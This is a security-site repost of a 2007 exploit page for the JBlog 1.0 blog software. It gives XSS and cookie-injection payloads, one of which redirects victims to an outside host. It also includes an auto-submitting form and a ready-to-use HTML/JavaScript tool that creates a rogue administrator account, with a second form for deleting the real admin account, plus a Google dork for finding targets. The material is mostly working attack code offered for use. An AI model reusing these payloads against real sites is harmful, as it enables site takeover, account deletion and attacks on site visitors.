首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
JBlog 1.0 Create / Delete Admin Authentication Bypass Exploit
来源:S4mi[at]LinuxMail.org 作者:S4mi 发布时间:2007-07-23  
<!--
##############################################################################
#	Script...............: JBlog version: 1.0                            #
#	Script Site..........: http://www.jmuller.net/jblog                  #
#	Vulnerability........: Creat Admin exploit, xss, Cookie Manipulation #
#	Access...............: Remote                                        #
#	level................: Dangerous                                     #
#	Author...............: S4mi                                          #
#	Contact..............: S4mi[at]LinuxMail.org                         #
#                                                                            #
##############################################################################

cookies Manipulation + Cross Site Scripting :
=========================================================================
xss:
----
http://site.com/jblog/index.php?id=">[xss Here]&pcomm=com 

cookies Manipulation:
--------------------
The POST variable 'search' in  /jblog/recherche.php  also The Cookie variable 'theme' is affected and can be set to :

 <meta http-equiv='Set-cookie' content='name=value'>

also we can do this :

 <meta http-equiv='Set-cookie' content='theme=<body+onload=alert("owned_by_Hacker")>'>

or :

<meta http-equiv='Set-cookie' content='theme=<body+onload=document.location="http://Bad.site.com/">'>

This is a small exemple of Inject Cookie Xploit (Cookie Manipulation)
---------------------------------------------------------------------------
<html>
<head>
<title>Inject Cookie Xploit By S4mi</title>
</head>
<body>
<script language="JavaScript">
function JBlogxpl() 
{
  document.xploit.action=document.xploit.victim.value;
  document.xploit.submit();
 }
</script>
<form name="xploit"  method="post" action="">
<input type="hidden" name="victim" value="http://victim/jblog/recherche.php">
<input type="hidden"  name="search" value="&lt;meta http-equiv='Set-cookie' content='theme=&lt;body+onload=document.location=&quot;http://milw0rm.com/&quot;&gt;'&gt;" />
<script>document.location="javascript: JBlogxpl()"</script>
</form>
</body>
</html>

============================================================================

Remote Privilege Escalation "Creat New Admin Xploit" By S4mi : 
============================================================================
-->

<html>
<title>JBlog 1.0 -- Remote Privilege Escalation (Creat admin sploit) -- By S4mi</title>
<body>
<script language="JavaScript">
function JBlogxpl() {
  if (document.xploit.victim.value=="") {
    alert("Please enter target!");
    return false;
  }
 {
    xploit.action="http://"+document.xploit.victim.value+"admin/ajoutaut.php";
    xploit.mot.value=document.xploit.mot.value;
    xploit.droit.value=document.xploit.droit.value;
    xploit.submit();
  }
}

</script>
<strong><p>
-------------------------------------------------------------------------------------------<br>
  #JBlog 1.0 -- Remote Privilege Escalation Xploit (add user)<br>
  #	Discovered By...............: S4mi                                          <br>
  #	Contact..........................: S4mi[at]LinuxMail.org<br>
  #<br>
  #     Google Dork : "propulsé par JBlog"  <br>
  --------------------------------------------------------------------------------------------</p>
<form name="xploit" method="POST" onSubmit="JBlogxpl();">
  Target -> Http://
    <input type="text" name="victim" value="www.Site.com/Path/" size="44">
  <p> Username.......->
    <input type="text" name="mot" value="ZaZ" size="30"> 
    (your password will be by default: <i>"admin"</i>)</p>
  <p> User type......->
            <select name="droit">
                    <option value="3">Admin</option>
                    <option value="2">Moderator</option>
                    <option value="1">Editor</option>
            </select>
  </p>
  <p>Submit...........->
    <input name="submit" type="submit" value="   Xploit it       ">
  </p>
</form>
<br>---------------------------------------------------------------------------------------<br>
  #NB : Remember do not  use a probably existing username (such as "admin"). <br>
  #If you want to Delete real admin account :D login into your New Created admin account & use this :<br>
--------------------------------------------------------------------------------------------<p>
<script language="JavaScript">

function AdminDelete()
{ if (document.xploit.victim.value=="") {
    alert("Please enter target!");
    return false;
  }
         if(confirm('Are you Sure!! want really DELETE user ?'))
	document.location.href="http://"+document.xploit.victim.value+"admin/supauteur.php?cat="+document.userdel.id.value;
}
</script>
<form name="userdel" method="POST" onSubmit="">
ID...............> <input type="text" name="id" value="1" size="3">
</form>
<a href="#" OnClick="AdminDelete()"/>Delete</a>

<br>-----------------------------------------------------------------------------------------------<br>
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, r0_0t, ddx39, Black-Code, Nuck3r... & all who know Me!

</body>
</html>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Data Dynamics ActiveReport Act
·Zenturi NixonMyPrograms Class
·Lotus Domino IMAP4 Server 6.5.
·MS Windows Explorer.exe Gif Im
·PHP <= 5.2.3 snmpget() object
·Xserver Alpha Post Request Rem
·Oracle 9i/10g evil views Chang
·PHP 5.2.3 win32std ext. safe_m
·Versalsoft HTTP File Uploader
·Entertainment CMS (Local Inclu
·Windows RSH daemon 1.7 Remote
·PHP <= 5.2.3 snmpget() object
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved